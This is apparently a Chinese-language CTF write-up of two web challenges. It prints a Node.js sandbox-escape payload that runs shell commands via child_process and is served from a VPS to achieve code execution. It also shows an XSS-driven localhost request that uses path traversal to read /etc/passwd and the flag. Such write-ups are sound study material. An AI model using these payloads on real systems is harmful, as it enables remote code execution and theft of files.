crawler_z

在这里插入图片描述
可任意注册登录
在这里插入图片描述
提示注意Bucket的验证,审计源码种Bucket的验证操作
在这里插入图片描述
在这里插入图片描述
符合正则条件/^https:\/\/[a-f0-9]{32}\.oss-cn-beijing\.ichunqiu\.com\/$/即可返回token,然后这里的token校验只是检测了是否为字符串,无验证效果,Bucket可控即可实现Nodejs的代码注入执行。网上找个nodejs的代码执行payload

<script>process=this.constructor.constructor.constructor('return process')();flag=process.mainModule.require("child_process").execSync("whoami").toString();doc ument.write(flag);document.write(this.constructor.constructor.constructor('retur n process')().toString());</script>

在VPS上创建一个名称为test.html.oss-cn-beijing.ichunqiu.com的文件,将代码执行的payload放在里面,然后先随意更新下Bucket得到一个token,然后再用

http://VPS_IP_addresss/test.html.oss-cn-beijing.ichunqiu.com

再次更新Bucket,然后验证的时候用之前得到的token进入/verify的路由,之后在/verify路由的操作中就会去访问这个地址下的文件,成功执行代码。/readflag即可得到flag

Secrets_Of_Admin

在这里插入图片描述
源码中有admin的密码
在这里插入图片描述
登录,是一个内容生成的共功能
在这里插入图片描述
审计代码,先看这个POST内容生成功能路由
在这里插入图片描述
content我们可以控制输入,输入的内容被写入在/api/files/一个文件中,名称可由传入checksum控制
在这里插入图片描述
filenamechecksumusername均可控,那么就可以利用可控制的变量重新写入内容,限制是IP是127.0.0.1

那么大致思路就是用content构造xss,,然后就会去访问/api/files传三个参数写入到数据库种,接访问/api/files/id得到返回的内容
在这里插入图片描述
不过这里对content有一些防范XSS的机制,过滤了一些关键字。需要想办法bypass
在这里插入图片描述
这里是Express的框架,includes()的检测对数组不起作用
在这里插入图片描述
所以使用传入数组形式即可绕过,有点类似PHP中的一些绕过方法
最终payload

<script>location.href="http://127.0.0.1:8888/api/files?username=admin&filename=../../../../../../../../../etc/passwd&checksum=1"</script>

访问/api/files/1下载
在这里插入图片描述
在这里插入图片描述
成功进行了任意文件读取,接着根据源码中的提示读取/files/flag即可得到flag

<script>location.href="http://127.0.0.1:8888/api/files?username=admin&filename=flag&checksum=flag.txt"</script>

在这里插入图片描述